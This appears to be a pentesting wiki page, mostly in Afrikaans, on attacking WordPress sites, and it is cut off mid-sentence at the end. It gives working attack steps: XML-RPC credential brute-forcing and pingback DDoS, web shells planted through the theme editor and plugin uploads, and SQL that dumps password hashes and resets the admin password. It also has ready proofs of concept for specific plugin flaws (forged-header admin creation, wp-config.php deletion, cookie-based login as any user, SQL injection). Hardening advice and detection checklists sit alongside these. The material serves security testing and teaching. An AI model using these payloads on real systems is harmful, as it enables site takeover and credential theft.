# Wordpress {{#include ../../banners/hacktricks-training.md}} ## Basiese Inligting - **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` - **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - In **wp-config.php** you can find the root password of the database. - Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Main WordPress Files** - `index.php` - `license.txt` contains useful information such as the version WordPress installed. - `wp-activate.php` is used for the email activation process when setting up a new WordPress site. - Login folders (may be renamed to hide it): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` - `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference). - The `wp-content` folder is the main directory where plugins and themes are stored. - `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored. - `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets. - `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies. **Post exploitation** - The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting. ### Users Permissions - **Administrator** - **Editor**: Publish and manages his and others posts - **Author**: Publish and manage his own posts - **Contributor**: Write and manage his posts but cannot publish them - **Subscriber**: Browser posts and edit their profile ## **Passive Enumeration** ### **Get WordPress version** Check if you can find the files `/license.txt` or `/readme.html` Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash curl https://victim.com/ | grep 'content="WordPress' ``` - `meta name` ![](<../../images/image (1111).png>) - CSS-lêers ![](<../../images/image (533).png>) - JavaScript-lêers ![](<../../images/image (524).png>) ### Kry inproppe ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### Kry temas ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### Ekstraheer weergawes in die algemeen ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ## Aktiewe enumerasie ### Plugins and Themes Jy sal waarskynlik nie al die Plugins and Themes kan vind nie. Om hulle almal te ontdek, sal jy **actively Brute Force a list of Plugins and Themes** moet uitvoer (hopelik is daar geoutomatiseerde gereedskap wat hierdie lyste bevat). ### Gebruikers - **ID Brute:** Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Forcing: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` Indien die antwoorde **200** of **30X** is, beteken dit dat die **id** **geldig** is. As die antwoord **400** is, is die **id** **ongeldig**. - **wp-json:** Jy kan ook probeer om inligting oor die gebruikers te kry deur navraag te doen: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` Nog 'n `/wp-json/` endpoint wat sekere inligting oor gebruikers kan openbaar, is: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` Let wel dat hierdie endpoint slegs gebruikers openbaar wat 'n pos gemaak het. **Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**. Let ook daarop dat **/wp-json/wp/v2/pages** IP-adresse kan leak. - **Login username enumeration**: Wanneer jy by **`/wp-login.php`** aanmeld, is die **boodskap** **anders** en dui dit aan of die **gebruikersnaam bestaan of nie**. ### XML-RPC As `xml-rpc.php` aktief is, kan jy credentials brute-force uitvoer of dit gebruik om DoS-aanvalle op ander hulpbronne te loods. (Jy kan hierdie proses[ using this](https://github.com/relarizky/wpxploit) byvoorbeeld outomatiseer). Om te sien of dit aktief is, probeer toegang tot _**/xmlrpc.php**_ kry en stuur hierdie versoek: **Kontroleer** ```html system.listMethods ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) **Credentials Bruteforce** **`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** is 'n paar van die metodes wat gebruik kan word om brute-force credentials te bekom. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur: ```html wp.getUsersBlogs admin pass ``` Die boodskap _"Incorrect username or password"_ binne 'n 200 code response moet verskyn as die credentials nie geldig is nie. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) Met die korrekte credentials kan jy 'n lêer oplaai. In die response sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html wp.uploadFile 1 username password name filename.jpg type mime/type bits ``` Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
**Bypass 2FA** Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige creds het maar die hooftoegang is beskerm deur 2FA, **mag jy in staat wees om xmlrpc.php te misbruik om met daardie creds in te log en 2FA te omseil**. Neem kennis dat jy nie al die aksies kan uitvoer wat jy via die console kan doen nie, maar jy mag steeds RCE bereik soos Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS or port scanning** As jy die metode _**pingback.ping**_ in die lys kan vind, kan jy Wordpress laat 'n arbitrêre versoek na enige host/port stuur. Dit kan gebruik word om **duisende** Wordpress **sites** te laat **access** een **location** (sodat 'n **DDoS** op daardie plek veroorsaak word), of jy kan dit gebruik om Wordpress te laat **scan** 'n interne **network** (jy kan enige port aandui). ```html pingback.ping http://: http:// ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) As jy **faultCode** kry met 'n waarde **groter** as **0** (17), beteken dit dat die poort oop is. Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak. **DDoS** ```html pingback.ping http://target/ http://yoursite.com/and_some_valid_blog_post_url ``` ![](<../../images/image (110).png>) ### wp-cron.php DoS Hierdie lêer bestaan gewoonlik in die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\ Wanneer hierdie lêer **geakses** word, word 'n "**swaar**" MySQL **query** uitgevoer, sodat dit deur **aanvallers** gebruik kan word om 'n **DoS** te **veroorsaak**.\ Ook, standaard word die `wp-cron.php` by elke bladsylaai aangeroep (wanneer 'n kliënt enige Wordpress-bladsy versoek), wat op werwe met hoë verkeer probleme kan veroorsaak (DoS). Dit word aanbeveel om Wp-Cron te deaktiveer en 'n regte cronjob op die host te skep wat die nodige take met gereelde intervalle uitvoer (sonder om probleme te veroorsaak). ### /wp-json/oembed/1.0/proxy - SSRF Probeer om toegang te kry tot _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ en die Wordpress-werf mag 'n versoek aan jou stuur. This is the response when it doesn't work: ![](<../../images/image (365).png>) ## SSRF {{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} Hierdie tool kontroleer of die **methodName: pingback.ping** en die pad **/wp-json/oembed/1.0/proxy** bestaan — as dit bestaan, probeer dit om dit te exploit. ## Outomatiese Tools ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` ## Kry toegang deur 'n bit te oorskryf Meer 'n nuuskierigheid as 'n werklike aanval. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer flip. Dus kon jy posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` flip om die NOT (`!`) operasie te NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Paneel RCE** **Aanpassing van 'n php-lêer van die tema wat gebruik word (admin credentials benodig)** Appearance → Theme Editor → 404 Template (aan die regterkant) Verander die inhoud na 'n php shell: ![](<../../images/image (384).png>) Soek op die internet hoe jy daardie bygewerkte bladsy kan bereik. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF Jy kan gebruik: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` om 'n session te kry. ## Plugin RCE ### PHP plugin Dit mag moontlik wees om .php-lêers as 'n plugin op te laai.\ Skep jou php backdoor byvoorbeeld met: ![](<../../images/image (183).png>) Voeg dan 'n nuwe plugin by: ![](<../../images/image (722).png>) Laai die plugin op en klik Install Now: ![](<../../images/image (249).png>) Klik op Procced: ![](<../../images/image (70).png>) Waarskynlik sal dit eintlik niks doen nie, maar as jy na Media gaan, sal jy jou shell sien wat opgelaai is: ![](<../../images/image (462).png>) Maak dit oop en jy sal die URL sien om die reverse shell uit te voer: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te bekom. Hierdie proses word via die WordPress dashboard uitgevoer soos volg: 1. **Plugin Acquisition**: Die plugin word verkry vanaf 'n bron soos Exploit DB soos [**here**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: - Navigeer na die WordPress dashboard, gaan dan na `Dashboard > Plugins > Upload Plugin`. - Laai die zip-lêer van die afgelaaide plugin op. 3. **Plugin Activation**: Sodra die plugin suksesvol geïnstalleer is, moet dit via die dashboard geaktiveer word. 4. **Exploitation**: - Met die plugin "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar. - Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter session gevestig word, wat ongemagtigde toegang tot die site verleen. - Daar word opgemerk dat dit net een van die vele metodes is om 'n WordPress site uit te buiten. Die inhoud bevat visuele hulpmiddels wat die stappe in die WordPress dashboard uitbeeld vir die installering en aktivering van die plugin. Dit is egter belangrik om te let dat die uitbuiting van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike toestemming. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetration testing met uitdruklike toestemming. **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## From XSS to RCE - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n script ontwerp om 'n **Cross-Site Scripting (XSS)**-kwesbaarheid te eskaleer na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress. Vir meer info kyk [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** - _**Privilege Escalation:**_ Skep 'n gebruiker in WordPress. - _**(RCE) Custom Plugin (backdoor) Upload:**_ Laai jou pasgemaakte plugin (backdoor) op na WordPress. - _**(RCE) Built-In Plugin Edit:**_ Redigeer ingeboude plugins in WordPress. - _**(RCE) Built-In Theme Edit:**_ Redigeer ingeboude temas in WordPress. - _**(Custom) Custom Exploits:**_ Pasgemaakte exploits vir derdeparty WordPress plugins/temas. ## Post Exploitation Haal usernames en passwords uit: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` Verander admin-wagwoord: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` ## Wordpress Plugins Pentest ### Aanvalsoppervlak Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel is noodsaaklik om kwesbaarhede in daardie funksionaliteit te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX handlers. Hierdie kan logika-, authorization- of authentication-bugs bevat. Boonop gebeur dit dikwels dat hierdie funksies beide die authentication en authorization baseer op die bestaan van 'n Wordpress nonce wat **enige gebruiker wat in die Wordpress instance geauthentiseer is** kan hê (ongeag hul rol). Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` **Die gebruik van `nopriv` maak die endpoint deur enigiemand toeganklik (selfs nie-geauthentiseerde gebruikers).** > [!CAUTION] > Verder, as die funksie net die autorisasie van die gebruiker met die funksie `wp_verify_nonce` kontroleer, kontroleer hierdie funksie net of die gebruiker ingeklok is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan gebruikers met laer voorregte toegang hê tot aksies wat hoër voorregte vereis. - **REST API** Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n REST API te registreer met die funksie `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( 'methods' => WP_REST_Server::READABLE, 'callback' => array($this, 'getData'), 'permission_callback' => '__return_true' ) ); ``` Die `permission_callback` is 'n callback-funksie wat nagaan of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep. **As die ingeboude `__return_true` funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.** - **Direkte toegang tot die php-lêer** Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk via die web toeganglik. Dus, as 'n plugin enige kwesbare funksionaliteit ontsluit wat net deur toegang tot die lêer geaktiveer word, sal dit deur enige gebruiker uitgebuit kan word. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator. - Impak: ongeauthentiseerde bevoegdheidsverhoging na administrateur deur 'n nuwe administrateur te skep via die core users REST route. - Voorbeeld header: `X-Wcpay-Platform-Checkout-User: 1` (dwing gebruiker-ID 1 af, tipies die eerste administrateur-rekening). - Uitgebuite roete: `POST /wp-json/wp/v2/users` met 'n verhoogde rol-array. PoC ```http POST /wp-json/wp/v2/users HTTP/1.1 Host: User-Agent: Mozilla/5.0 Accept: application/json Content-Type: application/json X-Wcpay-Platform-Checkout-User: 1 Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` Waarom dit werk - Die plugin koppel 'n kliënt-gekontroleerde header aan die autentiseringsstatus en slaan capability-controles oor. - WordPress core verwag die `create_users` capability vir hierdie route; die plugin-hack omseil dit deur die huidige gebruiker-konteks direk uit die header te stel. Verwagte suksesaanwysers - HTTP 201 met 'n JSON-liggaam wat die geskepte gebruiker beskryf. - 'n Nuwe admin gebruiker sigbaar in `wp-admin/users.php`. Opsporingskontrolelys - Grep vir `getallheaders()`, `$_SERVER['HTTP_...']`, of vendor SDKs wat aangepaste headers lees om gebruikerskonteks te stel (bv. `wp_set_current_user()`, `wp_set_auth_cookie()`). - Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste `permission_callback`-kontroles het nie en in plaas daarvan op versoek-headers staatmaak. - Kyk vir gebruik van core user-management funksies (`wp_insert_user`, `wp_create_user`) binne REST-handlers wat slegs deur header-waardes gefilter word. Verharding - Moet nooit autentisering of magtiging aflei uit kliënt-gekontrolleerde headers nie. - Indien 'n reverse proxy identiteit moet injekteer, beëindig vertroulikheid by die proxy en verwyder inkomende kopieë (bv. `unset X-Wcpay-Platform-Checkout-User` by die edge), en stuur dan 'n getekende token en verifieer dit server-side. - Vir REST-routes wat bevoorregte aksies uitvoer, vereis `current_user_can()`-kontroles en 'n streng `permission_callback` (gebruik NIE `__return_true` nie). - Voorkeur eerste-party auth (cookies, application passwords, OAuth) bo header “impersonation”. References: sien die skakels aan die einde van hierdie bladsy vir 'n openbare geval en breër ontleding. ### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: 1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and 2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and 3. **Strict input sanitisation / validation**. The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { return; } $fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] ); $upload_dir = wp_upload_dir(); $srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily; $filesystem = Litho_filesystem::init_filesystem(); if ( file_exists( $srcdir ) ) { $filesystem->delete( $srcdir, FS_CHMOD_DIR ); } die(); } add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` Probleme geïntroduseer deur hierdie stukkie: * **Unauthenticated access** – die `wp_ajax_nopriv_` hook is geregistreer. * **No nonce / capability check** – enige besoeker kan die endpoint aanroep. * **No path sanitisation** – die deur gebruiker beheerste `fontfamily` string word aan 'n lêerstelselpad gekonkateneer sonder filtrasie, wat klassieke `../../` traversering toelaat. #### Uitbuiting 'n aanvaller kan enige lêer of gids **onder die uploads base directory** (gewoonlik `/wp-content/uploads/`) verwyder deur 'n enkele HTTP POST versoek te stuur: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` Omdat `wp-config.php` buite *uploads* lê, is vier `../`-reekse genoeg op 'n standaardinstallasie. Die verwydering van `wp-config.php` dwing WordPress by die volgende besoek in die *installation wizard*, wat 'n volledige webwerf-oorname moontlik maak (die aanvaller verskaf net 'n nuwe DB-konfigurasie en skep 'n admin-gebruiker). Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules. #### Opsporingskontrolelys * Enige `add_action( 'wp_ajax_nopriv_...')` callback wat filesystem helpers aanroep (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ens.). * Samestelling van ongesuiwerde gebruikerinvoer in paaie (soek na `$_POST`, `$_GET`, `$_REQUEST`). * Afwesigheid van `check_ajax_referer()` en `current_user_can()`/`is_user_logged_in()`. #### Verharding ```php function secure_remove_font_family() { if ( ! is_user_logged_in() ) { wp_send_json_error( 'forbidden', 403 ); } check_ajax_referer( 'litho_fonts_nonce' ); $fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); $srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { wp_send_json_error( 'invalid path', 400 ); } // … proceed … } add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); // 🔒 NO wp_ajax_nopriv_ registration ``` > [!TIP] > **Altyd** beskou enige skryf/verwyder-bewerking op skyf as bevoorreg en kontroleer dit twee keer: > • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). --- ### Privilege escalation via verouderde rolherstel and missing authorization (ASE "View Admin as Role") Baie plugins implementeer 'n "view as role" of temporary role-switching funksie deur die oorspronklike rol(le) in user meta te stoor sodat hulle later herstel kan word. As die herstelpad slegs op request parameters (bv., `$_REQUEST['reset-for']`) en 'n plugin-onderhoude lys staatmaak sonder om capabilities en 'n geldige nonce na te gaan, word dit 'n vertical privilege escalation. 'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-branch het rolle herstel gebaseer op `reset-for=` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het geen `current_user_can()` kontrole of nonce-verifikasie uitgevoer voordat dit die huidige rolle verwyder en die gestoor rolle uit user meta `_asenha_view_admin_as_original_roles` herbygevoeg het nie: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { $reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] ); $usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? []; if ( in_array( $reset_for_username, $usernames, true ) ) { $u = get_user_by( 'login', $reset_for_username ); foreach ( $u->roles as $role ) { $u->remove_role( $role ); } $orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true ); foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` Waarom dit uitbuitbaar is - Vertrou op `$_REQUEST['reset-for']` en 'n plugin opsie sonder server-side authorization. - As 'n gebruiker voorheen hoër voorregte gehad het wat gestoor is in `_asenha_view_admin_as_original_roles` en daarna afgegradeer is, kan hulle dit herstel deur die reset path te besoek. - In sommige deployments kan enige authenticated user 'n reset trigger vir 'n ander gebruikersnaam wat nog in `viewing_admin_as_role_are` bestaan (broken authorization). Aanvalsvereistes - Kwetsbare plugin-weergawe met die funksie geaktiveer. - Teikenrekening het 'n verouderde high-privilege role gestoor in user meta van vroeër gebruik. - Enige authenticated session; ontbrekende nonce/capability in die reset flow. Uitbuiting (voorbeeld) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. # The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks. curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` Op kwesbare builds verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle weer by (bv. `administrator`), wat sodoende bevoegdhede verhoog. Detection checklist - Kyk vir rol-wissel-funksies wat “oorspronklike rolle” in user meta bewaar (bv. `_asenha_view_admin_as_original_roles`). - Identifiseer reset/restore-paaie wat: - Lees gebruikersname uit `$_REQUEST` / `$_GET` / `$_POST`. - Wysig rolle via `add_role()` / `remove_role()` sonder `current_user_can()` en `wp_verify_nonce()` / `check_admin_referer()`. - Gemagtig op grond van 'n plugin-opsie-array (bv. `viewing_admin_as_role_are`) eerder as die akteur se bevoegdhede. Hardening - Dwing bevoegdheidskontroles af op elke tak wat toestand verander (bv. `current_user_can('manage_options')` of strenger). - Vereis nonces vir alle rol-/toestemmingswysigings en verifieer hulle: `check_admin_referer()` / `wp_verify_nonce()`. - Vertrou nooit versoek-verskafde gebruikersname nie; los die teikengebruiker aan die bedienerkant op gebaseer op die geverifieerde akteur en 'n duidelike beleid. - Maak die “oorspronklike rolle”-toestand ongeldig by profiel-/rol-opdaterings om te voorkom dat vervalde hoë-privilegie-herstel plaasvind: ```php add_action( 'profile_update', function( $user_id ) { delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); }, 10, 1 ); ``` - Oorweeg om minimale state te stoor en tydbeperkte, capability-guarded tokens te gebruik vir tydelike rolwisselings. --- ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) Sommige plugins koppel user-switching helpers aan die publieke `init` hook en bepaal identiteit uit 'n kliënt-beheerde cookie. As die kode `wp_set_auth_cookie()` aanroep sonder om authentication, capability en 'n geldige nonce te verifieer, kan enige ongeauthentiseerde besoeker dwing om as 'n arbitrêre user ID aan te meld. Tipiese kwesbare patroon (vereenvoudig uit Service Finder Bookings ≤ 6.1): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { $user_id = intval( sanitize_text_field($_GET['switch_user']) ); service_finder_switch_user($user_id); } if ( isset($_GET['switch_back']) ) { service_finder_switch_back(); } } add_action('init', 'service_finder_submit_user_form'); function service_finder_switch_back() { if ( isset($_COOKIE['original_user_id']) ) { $uid = intval($_COOKIE['original_user_id']); if ( get_userdata($uid) ) { wp_set_current_user($uid); wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid)); setcookie('original_user_id', '', time() - 3600, '/'); wp_redirect( admin_url('admin.php?page=candidates') ); exit; } wp_die('Original user not found.'); } wp_die('No original user found to switch back to.'); } ``` Waarom dit uitbuitbaar is - Publieke `init` hook maak die handler bereikbaar vir nie-geauthentiseerde gebruikers (geen `is_user_logged_in()` beskerming). - Identiteit word afgelei uit 'n kliënt-wysigbare cookie (`original_user_id`). - Direkte oproep na `wp_set_auth_cookie($uid)` teken die versoeker in as daardie gebruiker sonder enige capability/nonce kontroles. Eksploitasie (unauthenticated) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example Cookie: original_user_id=1 User-Agent: PoC Connection: close ``` --- ### WAF-oorwegings vir WordPress/plugin CVEs Algemene edge/server WAFs is ingestel op breë patrone (SQLi, XSS, LFI). Baie hoë-impak WordPress/plugin kwesbaarhede is toepassingspesifieke logika/auth foute wat soos onskadelike verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan. Aanvalsnotas - Rig op plugin-spesifieke endpoints met skoon payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. - Gebruik eers unauth paths (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads slaag dikwels sonder obfuscation. - Tipiese hoë-impak gevalle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. Verdedigingsnotas - Moet nie staatmaak op generiese WAF-signatures om plugin CVEs te beskerm nie. Implementeer application-layer, vulnerability-specific virtual patches of werk vinnig op. - Gee voorkeur aan positive-security checks in code (capabilities, nonces, strict input validation) bo negatiewe regex filters. ## WordPress-beskerming ### Gereelde opdaterings Maak seker dat WordPress, plugins en temas op datum is. Bevestig ook dat geoutomatiseerde opdaterings in `wp-config.php` geaktiveer is: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` Ook, **installeer slegs betroubare WordPress plugins en themes**. ### Sekuriteits-plugins - [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) - [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) ### **Ander Aanbevelings** - Verwyder die verstek **admin** gebruiker - Gebruik **sterk wagwoorde** en **2FA** - Hersien periodiek gebruikers se **toestemmings** - **Beperk aanmeldpogings** om Brute Force-aanvalle te voorkom - Hernoem die **`wp-admin.php`** lêer en laat toegang slegs intern of vanaf sekere IP-adresse. ### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) Die WP Job Portal recruitment plugin het 'n **savecategory** taak blootgestel wat uiteindelik die volgende kwesbare kode binne `modules/category/model.php::validateFormData()` uitvoer: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; if ($category) { $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ } $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` Issues geïntroduseer deur hierdie fragment: 1. **Ongefilterde gebruikersinvoer** – `parentid` kom direk uit die HTTP-versoek. 2. **String-konkatenasie binne die WHERE-clausule** – geen `is_numeric()` / `esc_sql()` / prepared statement. 3. **Nie-geauthentiseerde bereikbaarheid** – alhoewel die aksie deur `admin-post.php` uitgevoer word, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan kry vanaf 'n publieke bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit. #### Uitbuiting 1. Kry 'n vars nonce: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` 2. Injecteer arbitrêre SQL deur `parentid` te misbruik: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ -d '_wpnonce=' \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` Die respons openbaar die resultaat van die ingespuitde navraag of verander die databasis, wat SQLi bewys. ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) Another task, 